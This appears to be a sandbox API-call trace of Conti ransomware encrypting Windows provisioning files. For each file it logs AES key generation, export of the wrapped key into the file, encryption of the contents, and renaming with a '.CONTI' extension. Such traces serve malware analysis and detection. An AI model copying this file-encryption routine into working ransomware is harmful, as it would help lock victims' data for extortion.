	[0106.781] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=1808) returned 1
	[0106.781] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x710
	[0106.781] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.781] SetEndOfFile (hFile=0x374) returned 1
	[0106.782] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.782] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.782] WriteFile (in: hFile=0x374, lpBuffer=0x17c5104*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c5104*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.452] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.452] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x710, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x710, lpOverlapped=0x0) returned 1
	[0107.452] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x710, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x720) returned 1
	[0107.452] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.453] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x720, lpOverlapped=0x0) returned 1
	[0107.453] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.453] WriteFile (in: hFile=0x374, lpBuffer=0x17c50f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17c50f8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0107.453] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.453] CloseHandle (hObject=0x374) returned 1
	[0107.453] GetProcessHeap () returned 0x1720000
	[0107.453] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.453] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0107.453] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI"
	[0107.453] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml.conti")) returned 1
	[0107.454] GetProcessHeap () returned 0x1720000
	[0107.454] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.454] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0107.454] GetProcessHeap () returned 0x1720000
	[0107.454] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3778 | out: hHeap=0x1720000) returned 1
	[0107.454] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0108.031] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6513bf8 | out: phKey=0x6513bf8*=0x17c8330) returned 1
	[0108.031] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513bfc, pdwDataLen=0x4bffe94 | out: pbData=0x6513bfc*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0108.035] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0108.035] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.035] GetLastError () returned 0x0
	[0108.035] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=668) returned 1
	[0108.035] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x29c
	[0108.035] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.035] SetEndOfFile (hFile=0x384) returned 1
	[0108.035] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.035] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.036] WriteFile (in: hFile=0x384, lpBuffer=0x6513bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6513bfc*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.037] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.037] ReadFile (in: hFile=0x384, lpBuffer=0xda50000, nNumberOfBytesToRead=0x29c, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x29c, lpOverlapped=0x0) returned 1
	[0108.037] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x29c, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2a0) returned 1
	[0108.037] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.037] WriteFile (in: hFile=0x384, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2a0, lpOverlapped=0x0) returned 1
	[0108.038] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.038] WriteFile (in: hFile=0x384, lpBuffer=0x6513bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6513bf0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0108.038] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.038] CloseHandle (hObject=0x384) returned 1
	[0108.038] GetProcessHeap () returned 0x1720000
	[0108.038] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.038] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml"
	[0108.038] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.CONTI"
	[0108.038] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0108.039] GetProcessHeap () returned 0x1720000
	[0108.039] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.039] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0108.039] GetProcessHeap () returned 0x1720000
	[0108.039] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c37f0 | out: hHeap=0x1720000) returned 1
	[0108.039] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0108.384] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d48c8 | out: phKey=0x17d48c8*=0x17c7d30) returned 1
	[0108.478] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d48cc, pdwDataLen=0x4bffe94 | out: pbData=0x17d48cc*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0108.479] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.489] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.489] GetLastError () returned 0x0
	[0108.489] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=716) returned 1
	[0108.489] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0108.489] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.489] SetEndOfFile (hFile=0x384) returned 1
	[0108.495] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.495] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.495] WriteFile (in: hFile=0x384, lpBuffer=0x17d48cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d48cc*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.511] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.511] ReadFile (in: hFile=0x384, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2cc, lpOverlapped=0x0) returned 1
	[0108.511] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2cc, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2d0) returned 1
	[0108.511] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.511] WriteFile (in: hFile=0x384, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0108.511] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.511] WriteFile (in: hFile=0x384, lpBuffer=0x17d48c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d48c0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0108.511] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.511] CloseHandle (hObject=0x384) returned 1
	[0108.514] GetProcessHeap () returned 0x1720000
	[0108.514] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b44050
	[0108.514] lstrcpyW (in: lpString1=0x6b44050, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml"
	[0108.514] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.514] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.523] GetProcessHeap () returned 0x1720000
	[0108.523] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b44050 | out: hHeap=0x1720000) returned 1
	[0108.523] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0108.523] GetProcessHeap () returned 0x1720000
	[0108.523] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588950 | out: hHeap=0x1720000) returned 1
	[0108.523] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0108.523] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17c4c70 | out: phKey=0x17c4c70*=0x17c7c70) returned 1
	[0108.523] CryptExportKey (in: hKey=0x17c7c70, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4c74, pdwDataLen=0x4bffe94 | out: pbData=0x17c4c74*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0108.524] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.552] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0108.552] GetLastError () returned 0x0
	[0108.552] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=481) returned 1
	[0108.552] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e1
	[0108.553] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.553] SetEndOfFile (hFile=0x2f4) returned 1
	[0108.563] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.563] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.563] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c4c74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c4c74*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.569] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.569] ReadFile (in: hFile=0x2f4, lpBuffer=0xda50000, nNumberOfBytesToRead=0x1e1, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x1e1, lpOverlapped=0x0) returned 1
	[0108.569] CryptEncrypt (in: hKey=0x17c7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1e1, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1f0) returned 1
	[0108.570] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.570] WriteFile (in: hFile=0x2f4, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x1f0, lpOverlapped=0x0) returned 1
	[0108.570] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.570] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c4c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17c4c68*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0108.570] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.570] CloseHandle (hObject=0x2f4) returned 1
	[0108.570] GetProcessHeap () returned 0x1720000
	[0108.570] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.570] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml"
	[0108.570] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml.CONTI"
